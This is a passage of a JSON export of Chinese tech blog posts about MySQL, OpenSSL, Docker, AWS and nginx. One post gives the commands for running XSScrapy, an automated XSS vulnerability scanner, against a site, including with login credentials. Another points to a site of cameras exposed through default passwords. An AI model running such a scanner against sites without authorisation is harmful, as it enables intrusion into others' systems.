    "body": "在 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 上的教學文章看到另外一種 <a href=\"http://dev.mysql.com/\">MySQL</a> 效能測試的方法：「<a href=\"https://www.digitalocean.com/community/tutorials/how-to-measure-mysql-query-performance-with-mysqlslap\">How To Measure MySQL Query Performance with mysqlslap</a>」。\r\n\r\n一般會拿 <a href=\"http://www.percona.com/\">Percona</a> 的 <a href=\"https://code.launchpad.net/~percona-dev/perconatools/tpcc-mysql\">tpcc-mysql</a> 測，用 <a href=\"https://dev.mysql.com/doc/refman/5.6/en/mysqlslap.html\">mysqlslap</a> 好像比較少看到，雖然也是蠻有名的工具...\r\n\r\n不過還是可以拿來玩玩看，互相比較的時候是一個指標...",
    "title": "測試 MySQL 效能的方法"
  },
  {
    "id": "5243",
    "body": "從「<a href=\"http://scripting.com/2014/10/29/1939FromGandhiToHitler.html\">1939 from Gandhi to Hitler</a>」這邊看到的，第二次世界大戰前一個月，甘地寫信給希特勒：\r\n\r\n<img src=\"//i.imgur.com/De2ZZUj.jpg\" alt=\"\" />",
    "title": "二戰前甘地寫給希特勒的信"
  },
  {
    "id": "5245",
    "body": "在「<a href=\"http://www.networkworld.com/article/2837910/public-cloud/how-much-bigger-is-amazon-s-cloud-vs-microsoft-and-google.html\">How much bigger is Amazon’s cloud vs. Microsoft and Google?</a>」這篇文章裡用營收來估算...\r\n\r\n<blockquote>But, a new report from New Hampshire-based firm Technology Business Research estimates Amazon’s cloud revenue at more than $4.7 billion this year. TBR pegs Microsoft’s public cloud IaaS revenue at $156 million and Google’s at $66 million. If those estimates are correct than Amazon’s cloud revenue is 30 times bigger than Microsoft’s.</blockquote>\r\n\r\n如果用估算的營收來比較，與第二大的 <a href=\"http://www.microsoft.com/\">Microsoft</a> 相差 30 倍，超級大的差距...",
    "title": "估計 Amazon、Microsoft、Google 雲端服務平台的相對大小"
  },
  {
    "id": "5247",
    "body": "因為要賣廣告了：「<a href=\"https://business.disqus.com/blog/disqus-launches-global-programmatic-native-advertising/\">Disqus Launches Global Programmatic Native Advertising</a>」。\r\n\r\n<a href=\"http://ma.tt/\">Matt Mullenweg</a> 寫得更直接 (<a href=\"http://wordpress.org/\">WordPress</a> 的 co-founder，同時也有競爭性產品 <a href=\"http://intensedebate.com/\">IntenseDebate</a>)：「<a href=\"http://ma.tt/2014/11/disqus-spam-ads/\">Disqus Spam + Ads</a>」。\r\n\r\n所以就改回 WordPress + <a href=\"http://akismet.com/\">Akismet</a> 吧...",
    "title": "移除 DISQUS..."
  },
  {
    "id": "5249",
    "body": "從「<a href=\"http://blog.endpoint.com/2014/10/openssl-csr-with-alternative-names-one.html\">OpenSSL CSR with Alternative Names one-line</a>」這篇看到的方法，一行解決，可以寫到 Makefile 之類的地方處理？\r\n\r\n給了兩個範例：\r\n\r\n<code>openssl req -new -key endpoint.com.key -sha256 -nodes -subj '/C=US/ST=New York/L=New York/O=End Point/OU=Hosting Team/CN=www.endpoint.com/emailAddress=administrative-not-existent-address@our-awesome-domain.com/subjectAltName=DNS.1=endpoint.com' &gt; www.endpoint.com.csr</code>\r\n\r\n以及：\r\n\r\n<code>openssl req -new -key endpoint.com.key -sha256 -nodes -subj '/C=US/ST=New York/L=New York/O=End Point/OU=Hosting Team/CN=www.endpoint.com/emailAddress=administrative-not-existent-address@our-awesome-domain.com/subjectAltName=DNS.1=endpoint.com,DNS.2=usually-not-convered-domain.endpoint.com,DNS.3=multiple-domains-crt.endpoint.com' &gt; www.endpoint.com.csr</code>\r\n\r\n記錄起來，以後應該還用的到 :p",
    "title": "由 RSA Key 產生 CSR 的方法 (OpenSSL)"
  },
  {
    "id": "5251",
    "body": "<a href=\"https://twitter.com/zonble\">zonble</a> 丟出來的，技術上沒什麼，但就是有人會去刻界面 XDDD\r\n\r\n<img src=\"//i.imgur.com/KMcUnv0.png\" alt=\"\" />\r\n\r\n出自「<a href=\"https://github.com/captbaritone/winamp2-js\">A reimplementation of Winamp 2.9 in HTML5 and Javascript</a>」這個計畫。一如往常：\r\n\r\n<blockquote>Works in modern versions of Firefox, Safari and Chrome. Untested in IE.</blockquote>\r\n\r\n(噴)",
    "title": "瀏覽器版本的 Winamp..."
  },
  {
    "id": "5253",
    "body": "也是不知道在哪邊看到的，反正容易安裝就裝起來玩玩看：「<a href=\"http://danmcinerney.org/xsscrapy-fast-thorough-xss-vulnerability-spider/\">XSScrapy: fast, thorough XSS vulnerability spider</a>」。<a href=\"https://github.com/DanMcInerney/xsscrapy\">XSScrapy</a> 是一套自動化攻擊軟體，是目前這類測試軟體裡用起來最簡單的版本。\r\n\r\n直接 clone 下來就可以執行了，如果有遇到 dependency 的問題，可以透過 pip 安裝：\r\n\r\n<code>pip install -r requirements.txt</code>\r\n\r\n執行的方法就這樣：\r\n\r\n<code>./xsscrapy.py -u http://example.com</code>\r\n\r\n上面這個方法是在訪客模式下慢慢跑，你也可以給他一組帳號密碼讓他填 form，他會試著登入後不斷打下去：\r\n\r\n<code>./xsscrapy.py -u http://example.com/login_page -l loginname -p pa$$word</code>\r\n\r\n也可以用 HTTP Basic Authentication：\r\n\r\n<code>./xsscrapy.py -u http://example.com/login_page -l loginname -p pa$$word --basic</code>\r\n\r\n然後發現的問題會寫到 XSS-vulnerable.txt 裡面：\r\n\r\n<blockquote>XSS vulnerabilities are reported in XSS-vulnerable.txt</blockquote>\r\n\r\n用法就這樣而已... XD",
    "title": "XSScrapy：自動化 XSS 攻擊"
  },
  {
    "id": "5256",
    "body": "不知道為什麼網路上一堆文章寫的超複雜 XD\r\n\r\n目前必須使用 CLI 才能上傳 key 與 SSL certificate，所以乖乖的裝上 <a href=\"https://github.com/aws/aws-cli\">aws-cli</a> 吧 :p\r\n\r\n而通常在買 Wildcard SSL 時會 <code>*.example.com</code> 的時候會簽成 <code>example.com</code> + <code>*.example.com</code>，這時候用 <code>example.com</code> 當名字掛進去：\r\n\r\n<code>aws iam upload-server-certificate --server-certificate-name <strong>example.com</strong> --certificate-body file://<strong>server.crt</strong> --private-key file://<strong>server.key</strong> --certificate-chain file://<strong>intermediate.crt</strong> --path /cloudfront/</code>\r\n\r\n一樣可以確認：\r\n\r\n<code>aws iam get-server-certificate --server-certificate-name <strong>example.com</strong></code>\r\n\r\n會改到的幾個部份用粗體標出來了。\r\n\r\n上傳完成後就可以到 Web Console 上的 CloudFront 部份設定了。\r\n\r\n主要是參考「<a href=\"https://timnash.co.uk/building-cdn-ssl-cloudfront-certificates/\">Building a CDN over SSL with CloudFront and SNI</a>」這篇文章的說明，再加上一些亂試後去翻文件確認的結果 :o",
    "title": "設定 CloudFront 的 Wildcard SSL (SNI)"
  },
  {
    "id": "5259",
    "body": "出自「<a href=\"http://mysqlserverteam.com/resizing-buffer-pool-online/\">Resizing the InnoDB Buffer Pool Online</a>」這邊，在 manual 上「<a href=\"https://dev.mysql.com/doc/refman/5.7/en/innodb-buffer-pool-online-resize.html\">Resizing the InnoDB Buffer Pool Online</a>」也可以看到說明。\r\n\r\n<code>innodb_buffer_pool_size</code> 變得可以動態調整，表示在抓 InnoDB 在記憶體裡的大小時更容易微調，不用花很長的時間去觀察調整... 小功能但應該會很好用？",
    "title": "MySQL 5.7 的 InnoDB Buffer Pool Size 可以動態調整"
  },
  {
    "id": "5261",
    "body": "<a href=\"https://www.wikipedia.org\">維基百科</a>打算改善手上檔案的 metadata：「<a href=\"https://blog.wikimedia.org/2014/11/07/cleaning-up-file-metadata-for-humans-and-robots/\">Cleaning up file metadata, for humans and robots</a>」。\r\n\r\n查了一下，看起來是「<a href=\"https://commons.wikimedia.org/wiki/Commons:Machine-readable_data\">Commons:Machine-readable data</a>」這邊的規範，利用 <code>&lt;td&gt;</code> 裡的 <code>id</code> attribute？那這樣一份文件不是只能有一個嗎？有些狀況應該是不能只有一個...\r\n\r\n還有點看不太懂細節，不過這件事情會大大的影響整個 internet，因為 Wikipedia 是目前品質與量都很高的資料來源，常常是各種服務的加值資料來源 (像是 <a href=\"https://www.facebook.com/\">Facebook</a> 的粉絲頁，以及 <a href=\"https://www.google.com/\">Google</a> 搜尋的結果)",
    "title": "改善維基百科的 Metadata"
  },
  {
    "id": "5265",
    "body": "<a href=\"https://www.docker.com/\">Docker</a> 愈來愈紅，而 image 也愈來愈多，於是就有人討論要如何做出好的 Docker image。\r\n\r\n在「<a href=\"http://jonathan.bergknoff.com/journal/building-good-docker-images\">Building good docker images</a>」這篇文章裡提到了不少現象以及改善的技巧。\r\n\r\n首先是 base image 的選用。除非有特別的理由，不然作者建議是基於 <code>debian:wheezy</code> (85MB) 而非 <code>ubuntu:14.04</code> (195MB)。甚至在某些極端的情況下，你可以選擇 <code>busybox</code> (2MB)。\r\n\r\n再來是沒事不要塞 build tools 進去，除非那是之後執行必要的東西。\r\n\r\n然後是避免暫存檔的產生，作者舉的例子還蠻容易懂的。這樣是 109MB：\r\n\r\n<pre>FROM debian:wheezy\r\nRUN apt-get update &amp;&amp; apt-get install -y wget\r\nRUN wget http://cachefly.cachefly.net/10mb.test\r\nRUN rm 10mb.test</pre>\r\n\r\n而這樣只有 99MB，原因是每一個 RUN 都會疊一層上去：\r\n\r\n<pre>FROM debian:wheezy\r\nRUN apt-get update &amp;&amp; apt-get install -y wget\r\nRUN wget http://cachefly.cachefly.net/10mb.test &amp;&amp; rm 10mb.test</pre>\r\n\r\n所以，同樣的道理，要避免暫存檔時，可以考慮這種寫法：\r\n\r\n<pre>wget -O - http://nodejs.org/dist/v0.10.32/node-v0.10.32-linux-x64.tar.gz | tar zxf -</pre>\r\n\r\n以及裝完後馬上 clean：\r\n\r\n<pre>FROM debian:wheezy\r\nRUN apt-get update &amp;&amp; apt-get install -y wget &amp;&amp; rm -rf /var/lib/apt/lists/*</pre>\r\n\r\n後面還有一些技巧，不過前面講的空間問題比較重要。",
    "title": "如何做出好的 Docker Image"
  },
  {
    "id": "5271",
    "body": "<a href=\"https://xkcd.com/\">xkcd</a> 的 <a href=\"https://xkcd.com/1445/\">Efficiency</a>：\r\n\r\n<img src=\"//i.imgur.com/WtqgV9Z.png\" alt=\"\" />\r\n\r\n看了頗有感觸...",
    "title": "效率"
  },
  {
    "id": "5276",
    "body": "<a href=\"http://www.bbc.co.uk/\">BBC</a> 跑去 <a href=\"http://www.nasa.gov/\">NASA</a> 在俄亥俄州的 <a href=\"https://en.wikipedia.org/wiki/Space_Power_Facility\">Space Power Facility</a> 做實驗：「<a href=\"http://thekidshouldseethis.com/post/the-hammer-feather-drop-in-the-worlds-biggest-vacuum-chamber\">The Hammer-Feather Drop in the world’s biggest vacuum chamber</a>」。\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"//www.youtube.com/embed/E43-CfukEgs\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n超大的真空環境！XD",
    "title": "真空環境下，羽毛與保齡球的自由落體"
  },
  {
    "id": "5278",
    "body": "100% 的 uptime 有點誇張啦，不過看到這篇文章有些啟發：「<a href=\"http://www.cedexis.com/blog/multi-home-the-data-center-for-100-uptime/\">Multi-Home the Data Center for 100% uptime</a>」。\r\n\r\n<img src=\"//i.imgur.com/ZblZPIR.png\" alt=\"\" />\r\n\r\n這張圖裡面，如果 DC1 的 DB master 掛掉，那麼 DC2 也只能進入唯讀狀態？甚至有些應用連唯讀狀態都不能進...\r\n\r\n不過想到 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 放三個機房的方法，不過如果只放三台的話會有其他的風險就是了，本粗一點變成六台 (每個機房都兩台) 也是個方法 :o",
    "title": "多資料中心的備援機制"
  },
  {
    "id": "5280",
    "body": "前陣子 <a href=\"https://www.facebook.com/\">Facebook</a> 提供 <a href=\"https://www.torproject.org/\">Tor</a> 的 hidden service 時還提供了 SSL certificate，是由 <a href=\"https://www.digicert.com/\">DigiCert</a> 簽的：「<a href=\"https://blog.digicert.com/anonymous-facebook-via-tor/\">Supporting the Anonymous Use of Facebook via Tor</a>」。\r\n\r\n而 DigiCert 打算開放給一般人申請 <code>.onion</code> 的 SSL certificate：「<a href=\"http://threatpost.com/digicert-considering-certs-for-hidden-services-beyond-facebook/109222\">DigiCert Considering Certs for Hidden Services</a>」。\r\n\r\n這件事情除了在技術的角度很特別外，在政治面的角度也值得被拿出來討論，也就是 DigiCert 承認 <code>.onion</code> 的 <a href=\"https://en.wikipedia.org/wiki/Top-level_domain\">TLD</a>。\r\n\r\n各家搜尋引擎 (像是 <a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a>) 開始爬 <code>.onion</code> 的資料也應該是遲早的事情？",
    "title": "DigiCert 考慮開放 .onion 的 SSL certificate 簽章"
  },
  {
    "id": "5284",
    "body": "到 <a href=\"https://www.namecheap.com/\">Namecheap</a> 上買了 SSL certificate 後裝一裝設一設，再加上 <a href=\"https://en.wikipedia.org/wiki/HTTP_301\">301 Redirect</a> 與 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a>，總算是搞定了：\r\n\r\n<img src=\"//i.imgur.com/vZwtyk9.png\" alt=\"\" />\r\n\r\n不過 IE6 就確定陣亡了：\r\n\r\n<img src=\"//i.imgur.com/fV3NFOr.png\" alt=\"\" />\r\n\r\n之後再來把 <a href=\"http://nginx.org/\">nginx</a> 升級跑新版，才能設 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a>。",
    "title": "把 blog.gslin.org 上 HTTPS"
  },
  {
    "id": "5287",
    "body": "<a href=\"https://github.com/bmatzelle/gow\">Gow</a> 的說明：\r\n\r\n<blockquote>Gow (Gnu On Windows) is the lightweight alternative to Cygwin. It uses a convenient Windows installer that installs about 130 extremely useful open source UNIX applications compiled as native win32 binaries. It is designed to be as small as possible, about 10 MB, as opposed to Cygwin which can run well over 100 MB depending upon options.</blockquote>\r\n\r\n在「<a href=\"https://github.com/bmatzelle/gow/wiki/executables_list\">executables_list</a>」這頁列出會安裝哪些軟體。\r\n\r\n很久之前還在用 Windows 時是裝「<a href=\"http://unxutils.sourceforge.net/\">GNU utilities for Win32</a>」這個，看起來沒在維護了。",
    "title": "Gow：Cygwin 的替代方案"
  },
  {
    "id": "5289",
    "body": "這份投影片「<a href=\"http://www.slideshare.net/brendangregg/performance-tuning-ec2-instances\">Performance Tuning EC2 Instances</a>」講了不少 <a href=\"https://www.netflix.com/\">Netflix</a> 在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上各種調校的經驗。\r\n\r\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/41485014\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen></iframe>\r\n\r\n有些比較一般性，可以用在實體機器上，另外還有一些是在 vm 裡的調校。",
    "title": "Netflix 在 EC2 上調校的心得"
  },
  {
    "id": "5291",
    "body": "從「<a href=\"http://it.slashdot.org/story/14/11/07/1611257/website-peeps-into-73000-unsecured-security-cameras-via-default-passwords\">Website Peeps Into 73,000 Unsecured Security Cameras Via Default Passwords</a>」看到的，有人掃過一輪後，把大約七萬多個攝影機的資料做成網站：「<a href=\"http://www.insecam.com/\">Online IP netsurveillance cameras of the world</a>」。\r\n\r\n隨便找一個台灣的：「<a href=\"http://www.insecam.cc/cam/view/73454/\">73454</a>」，網站速度不快，但看起來超歡樂的...",
    "title": "網路上使用預設密碼的攝影機..."
  },
  {
    "id": "5293",
    "body": "<a href=\"https://github.com/FriendsOfPHP/PHP-CS-Fixer\">PHP-CS-Fixer</a> 正式釋出 1.0 版：「<a href=\"http://fabien.potencier.org/article/76/php-cs-fixer-finally-reaches-version-1-0\">PHP CS Fixer finally reaches version 1.0</a>」。\r\n\r\n原作者提到了之前的版本以 regular expression 為底，而這三個月有了大改變，現在的版本是以 token 來判斷：\r\n\r\n<blockquote>The current stable version of PHP-CS-Fixer was released in August 2014 and it is still based on regular expressions, two years after the first public release. But in the last three months, things got crazy mainly because of Dariusz Ruminski. He did a great job at rewriting everything on top of a parser based on the PHP tokens, helped by 21 other contributors.</blockquote>\r\n\r\n這邊寫一下用法：\r\n\r\n<code>php-cs-fixer fix /path --level=psr2</code>\r\n\r\n這樣會把目錄下的所有 .php 檔都清過一次。目錄的部份也可以用檔名，表示只處理一個檔案。",
    "title": "PHP-CS-Fixer 1.0 出版！"
  },
  {
    "id": "5295",
    "body": "這幾天 <a href=\"http://www.amazon.com/\">Amazon</a> 因為 <a href=\"https://reinvent.awsevents.com/\">re:Invent</a> 的關係，放出了不少資料出來，其中看到有 <a href=\"https://aws.amazon.com/\">AWS</a> 機房的架構：「<a href=\"https://gigaom.com/2014/11/12/amazon-details-how-it-does-networking-in-its-data-centers/\">Amazon details how it does networking in its data centers</a>」。\r\n\r\n有些資料還蠻有趣的，像是這張：\r\n\r\n<img src=\"//i.imgur.com/l7SbVof.jpg\" alt=\"\" />\r\n\r\n每個 AZ (Availability Zone) 可能會有很多 DC (Data Center)，而這些 DC 必須在 0.25ms 內。\r\n\r\n<img src=\"//i.imgur.com/25HYQq2.jpg\" alt=\"\" />\r\n\r\nAZ 之間是 <a href=\"https://en.wikipedia.org/wiki/Complete_graph\">complete graph</a> 連接，另外對多個不同的 Transit center 出去，以確保其中一個 Transit center 掛掉時仍然有備援。\r\n\r\nAZ 之間的 latency 會在 2ms 之間 (如果算來回的話是 300 公里)，通常會在 1ms (算來回的話是 150 公里)。\r\n\r\n使用者的 <a href=\"https://aws.amazon.com/directconnect/\">AWS Direct Connect</a> 則是接到 Transit center 上。\r\n\r\n<img src=\"//i.imgur.com/PHtJswu.png\" alt=\"\" />\r\n\r\n每個 DC 的機器數量在 50k 到 80k 台左右。\r\n\r\n雖然應該用不到，但看這些資料還是蠻有趣的 :p",
    "title": "AWS 的機房架構"
  },
  {
    "id": "5297",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 的「<a href=\"https://www.backblaze.com/blog/hard-drive-smart-stats/\">Hard Drive SMART Stats</a>」這篇文章裡面提到了用 <a href=\"https://en.wikipedia.org/wiki/S.M.A.R.T.\">S.M.A.R.T.</a> 的資料交叉分析硬碟存活的比率。\r\n\r\n比較有趣的是對 Power_Cycle_Count 這個數據的解讀：\r\n\r\n<blockquote>We’re not sure whether this is because cycling the power is bad for the drive, or because working on the pods is bad for the drives, or because “new” drives have flaws that are exposed during the first few dozen power cycles and then things settle down.</blockquote>\r\n\r\n再對照其他幾張與 Power_Cycle_Count 相關的圖，通電次數看不出跟存活率有絕對關係 :p",
    "title": "Backblaze 用 SMART 的資料推算硬碟故障可能性"
  },
  {
    "id": "5299",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/\">Amazon RDS for Aurora</a> 是這次 re:Invent 發表的資料庫：「<a href=\"https://aws.amazon.com/blogs/aws/highly-scalable-mysql-compat-rds-db-engine/\">Amazon Aurora - New Cost-Effective MySQL-Compatible Database Engine for Amazon RDS</a>」。\r\n\r\n以往的資料庫都是先選定好 storage 大小、storage 種類 (以及 IOPS)，然後再選擇機器大小，而要更改的時候會有 downtime。\r\n\r\n這次推出的 Amazon Aurora 則是拿掉前面兩個限制，由系統自動幫你處理：空間與 storage 種類 (包括 IOPS)。你只要選擇 instance 的種類就就可以了。\r\n\r\n重點是相容於 <a href=\"http://dev.mysql.com/\">MySQL</a> 啊，現有使用 MySQL 的程式大多都可以直接接上去，從 10GB 長大到 64TB 都可以無痛一直升級...\r\n\r\n由於 IOPS 的部份不需要事先 booking，機器的價錢看起來還算合理，找機會來測試看看可以惡搞到什麼程度？",
    "title": "Amazon Aurora"
  },
  {
    "id": "5301",
    "body": "這次 <a href=\"https://reinvent.awsevents.com/\">re:Invent</a> 的另外一個重大發表：「<a href=\"https://aws.amazon.com/blogs/aws/code-management-and-deployment/\">New AWS Tools for Code Management and Deployment</a>」。\r\n\r\n講的簡略一點，<a href=\"https://aws.amazon.com/codedeploy/\">AWS CodeDeploy</a> 是處理程式的 deployment，<a href=\"https://aws.amazon.com/codecommit/\">CodeCommit</a> 是 Git hosting，<a href=\"https://aws.amazon.com/codepipeline/\">CodePipeline</a> 是 hook。\r\n\r\n不過目前只有 CodeDeploy 可以用，其他兩個還沒好：\r\n\r\n<blockquote>CodeDeploy is launching today and you can start using it now. Please stay tuned for more information on CodeCommit and CodePipeline!</blockquote>\r\n\r\n以往是自己兜這些方案出來，現在是 <a href=\"https://aws.amazon.com/\">AWS</a> 直接包好提供...",
    "title": "AWS 的 CodeDeploy、CodeCommit、CodePipeline"
  },
  {
    "id": "5303",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 預先公告新的 C4 instance：「<a href=\"https://aws.amazon.com/blogs/aws/new-c4-instances/\">New Compute-Optimized EC2 Instances</a>」。\r\n\r\n<blockquote>The new C4 instances are based on the Intel Xeon E5-2666 v3 (code name Haswell) processor. This custom processor, designed specifically for EC2, runs at a base speed of 2.9 GHz, and can achieve clock speeds as high as 3.5 GHz with Turbo boost. These instances are designed to deliver the highest level of processor performance on EC2.</blockquote>\r\n\r\n雖然還沒正式推出，不過可以預期效能會比 C3 高出不少... (拿來跑各種運算)",
    "title": "什麼都可以解決的 C4..."
  },
  {
    "id": "5305",
    "body": "<a href=\"https://www.ssllabs.com/\">Qualys SSL Labs</a> 在「<a href=\"https://www.ssllabs.com/ssltest/clients.html\">User Agent Capabilities</a>」有提供不少好用的資料，其中每個 client 點進去以後就可以知道支援哪些 cipher，像是「<a href=\"https://www.ssllabs.com/ssltest/viewClient.html?name=Android&amp;version=2.3.7\">User Agent Capabilities: Android 2.3.7</a>」這頁裡面可以看到只支援 SSLv3 以及 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLSv1</a>，而支援的 cipher 大多都比較弱一點 (<a href=\"https://en.wikipedia.org/wiki/Triple_DES\">3DES</a> 的 112bits 以及 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a>/<a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a> 128bits 為主)：\r\n\r\n<img src=\"//i.imgur.com/ZaYkitz.png\" alt=\"\" />\r\n\r\n就用這些資訊去湊，設上去後再實際測試 :o",
    "title": "選擇 OpenSSL Cipher 時的參考資料"
  },
  {
    "id": "5307",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 的 blog 上提到了 <a href=\"https://www.mozilla.com/firefox/\">Firefox</a> 十週年：「<a href=\"https://blog.mozilla.org/blog/2014/11/10/celebrating-10-years-of-firefox-2/\">Celebrating 10 Years of Firefox</a>」。\r\n\r\n2002 年，Mozilla 推出了 Firebird，後來因為商標名稱的衝突，在 2004 年 11 月 9 日改名叫 Firefox，並推出 Firefox 1.0：「<a href=\"https://blog.mozilla.org/press/2004/11/mozilla-foundation-releases-the-highly-anticipated-mozilla-firefox-1-0-web-browser/\">Mozilla Foundation releases the highly anticipated Mozilla Firefox 1.0 web browser</a>」。\r\n\r\nFirebird/Firefox 的出現改變了整個 web，讓人有所選擇，並且推動了 web 的發展。如果當年沒有 Firebird/Firefox，HTML5 這些新技術不知道要晚幾年才會出現。\r\n\r\nFirefox 最新的版本增加了 Forget 功能，可以「遺忘」這五分鐘的資料，或是兩小時、24 小時：\r\n\r\n<img src=\"//i.imgur.com/IAGhpGk.png\" alt=\"\" />\r\n\r\n這功能頗有趣的 XD",
    "title": "Firefox 十週年"
  },
  {
    "id": "5309",
    "body": "在 <a href=\"http://www.foia.gov/\">FOIA</a> 下取得聯邦政府與 <a href=\"https://en.wikipedia.org/wiki/Aaron_Swartz\">Aaron Swartz</a> 相關的檔案，在 Aaron Swartz 28 歲冥誕被整理出來：「<a href=\"https://swartzfiles.com/\">Federal law enforcement documents about Aaron Swartz, released under the Freedom of Information Act</a>」。\r\n\r\n整理了大量被司法迫害的資料，包含了十一份影片 (收押訊問過程)、大量的照片與文件。",
    "title": "在 FOIA 下所取得聯邦政府關於 Aaron Swartz 的檔案"
  },
  {
    "id": "5311",
    "body": "在「<a href=\"https://aws.amazon.com/blogs/aws/s3-event-notification/\">New Event Notifications for Amazon S3</a>」這邊提到的重點：\r\n\r\n<blockquote>The bucket owner (or others, as permitted by an IAM policy) can now arrange for notifications to be issued to Amazon Simple Queue Service (SQS) or Amazon Simple Notification Service (SNS) when a new object is added to the bucket or an existing object is overwritten.</blockquote>\r\n\r\n也就是說，<a href=\"https://aws.amazon.com/s3/\">S3</a> 上有變動時會透過 <a href=\"https://aws.amazon.com/sqs/\">SQS</a> 觸發後續行為。由於這是 <a href=\"https://aws.amazon.com/\">AWS</a> 自己提供的功能，解決了以往「上傳檔案後自己觸發 SQS」不能保證 atomic 的問題。\r\n\r\n好像馬上就想到某個專案可以用到...",
    "title": "Amazon S3 的 Event Notification"
  },
  {
    "id": "5313",
    "body": "<a href=\"https://wireedit.com/\">A Full Stack WYSIWYG Editor for Network Packets</a>：\r\n\r\n<iframe width=\"640\" height=\"480\" src=\"//www.youtube.com/embed/Mp1hpMOjk6c\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n可以改 pcap 格式的封包擷取檔，暫時沒有想到什麼用途，不過界面很直覺 :o",
    "title": "WireEdit：用最直覺的方式改封包內容的軟體"
  },
  {
    "id": "5316",
    "body": "升級完 <a href=\"http://nginx.org/\">nginx</a> 後就變成白頁了，觀察發現靜態檔案不受影響，所以看起來是與 <a href=\"http://www.php.net/\">PHP</a> 溝通有問題，所以應該是 <a href=\"http://www.fastcgi.com/drupal/\">FastCGI</a> 類的問題，用一些關鍵字找了一下，很快就解決了。\r\n\r\n解法出自這邊：「<a href=\"https://stackoverflow.com/questions/23698692/nginx-1-6-php5-fpm-socket-communication-fail\">Nginx 1.6 + php5-fpm socket communication fail</a>」。\r\n\r\n總結原文的解法，本來是 <code>include fastcgi_params;</code> 的請改成 <code>include fastcgi.conf;</code>。(我裝的 ppa 版本已經有 <code>fastcgi.conf</code>，不需要像原文提到自己修改)",
    "title": "把 nginx 換到 1.6 後 PHP 遇到的問題"
  },
  {
    "id": "5318",
    "body": "剛剛把 <a href=\"http://nginx.org/\">nginx</a> 換到 ppa 的版本 (目前是 1.6)，然後打開 <a href=\"https://en.wikipedia.org/wiki/OCSP_stapling\">OCSP stapling</a> 與 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a>，速度明顯有感覺提昇...\r\n\r\nOCSP stapling：\r\n\r\n<img src=\"//i.imgur.com/XGGX6Qk.png\" alt=\"\" />\r\n\r\nSPDY：\r\n\r\n<img src=\"//i.imgur.com/vDSWTPM.png\" alt=\"\" />\r\n\r\n目前有想到而且能處理的都做的差不多了 :p",
    "title": "換到 nginx 1.6 後把 OCSP stapling 與 SPDY 打開..."
  },
  {
    "id": "5320",
    "body": "官方的說明：「<a href=\"https://aws.amazon.com/blogs/aws/run-code-cloud/\">AWS Lambda - Run Code in the Cloud</a>」，以及 <a href=\"https://en.wikipedia.org/wiki/Werner_Vogels\">Werner Vogels</a> 的說明：「<a href=\"http://www.allthingsdistributed.com/2014/11/aws-lambda.html\">The Easiest Way to Compute in the Cloud – AWS Lambda</a>」。\r\n\r\n偏向 <a href=\"https://en.wikipedia.org/wiki/Platform_as_a_service\">PaaS</a> 類的服務，處理 worker 這塊的事情。技術面是以 JavaScript (<a href=\"http://nodejs.org/\">node.js</a>) 為基礎。\r\n\r\n依照最近推出的產品以及描述，應該是配合 Container 技術做的。首先是依照記憶體用量而決定對應的 CPU、網路以及 I/O 的能力：\r\n\r\n<blockquote>The context information for a function specifies the amount of memory needed to run it. You can set this to any desired value between 128 MB and 1 GB. The memory setting also determines the amount of CPU power, network bandwidth, and I/O bandwidth that are made available to the function.</blockquote>\r\n\r\nprocess、thread、file descriptor 以及 local storage 的數量也是有管制的：\r\n\r\n<blockquote>Each invocation of a function can make use of up to 256 processes or threads. It can consume up to 512 MB of local storage and up to 1,024 file descriptors. It can also create up to 10 simultaneous outbound network connections.</blockquote>\r\n\r\n計價的方式：\r\n\r\n<blockquote>You pay for compute time in units of 100 milliseconds and you pay for each request.</blockquote>\r\n\r\n處理簡單的事情用的？在「<a href=\"http://alestic.com/2014/11/aws-lambda-cli\">AWS Lambda Walkthrough Command Line Companion</a>」這邊已經有人寫出一些心得了，可以看看怎麼用 :o",
    "title": "AWS Lambda：AWS 推出的 PaaS"
  },
  {
    "id": "5324",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到「<a href=\"http://hardware.slashdot.org/story/14/11/14/1951214/facebook-testing-lithium-ion-batteries-for-backup-power\">Facebook Testing Lithium-Ion Batteries For Backup Power</a>」，原報導出自「<a href=\"http://www.itworld.com/article/2848233/facebook-gives-its-server-racks-a-tesla-touch.html\">Facebook gives its server racks a Tesla touch</a>」。\r\n\r\n這讓我想到之前 <a href=\"https://www.google.com/\">Google</a> 也做過類似的架構，不過是用蓄電池：「<a href=\"http://gizmodo.com/5195890/google-finally-declassifies-some-key-server-design-secrets\">Google Finally Declassifies Some Key Server Design Secrets</a>」。\r\n\r\n<img src=\"//i.imgur.com/C9vzbh3.jpg\" alt=\"\" />\r\n\r\n上圖右上邊的那個區塊就是蓄電池。\r\n\r\n<a href=\"https://www.facebook.com/\">Facebook</a> 會考慮鋰電池是因為 Telsa 的需求使得價錢往下掉，進而考慮將本來的 UPS 換成鋰電池。",
    "title": "Facebook 研究用鋰電池當作 UPS 替代方案"
  },
  {
    "id": "5326",
    "body": "最近在玩的新遊戲「<a href=\"http://0hh1.com/\">0h h1</a>」：\r\n\r\n<img src=\"//i.imgur.com/zhrnG8Y.png\" alt=\"\" />\r\n\r\n應該過陣子會有行動版本？",
    "title": "0h h1"
  },
  {
    "id": "5329",
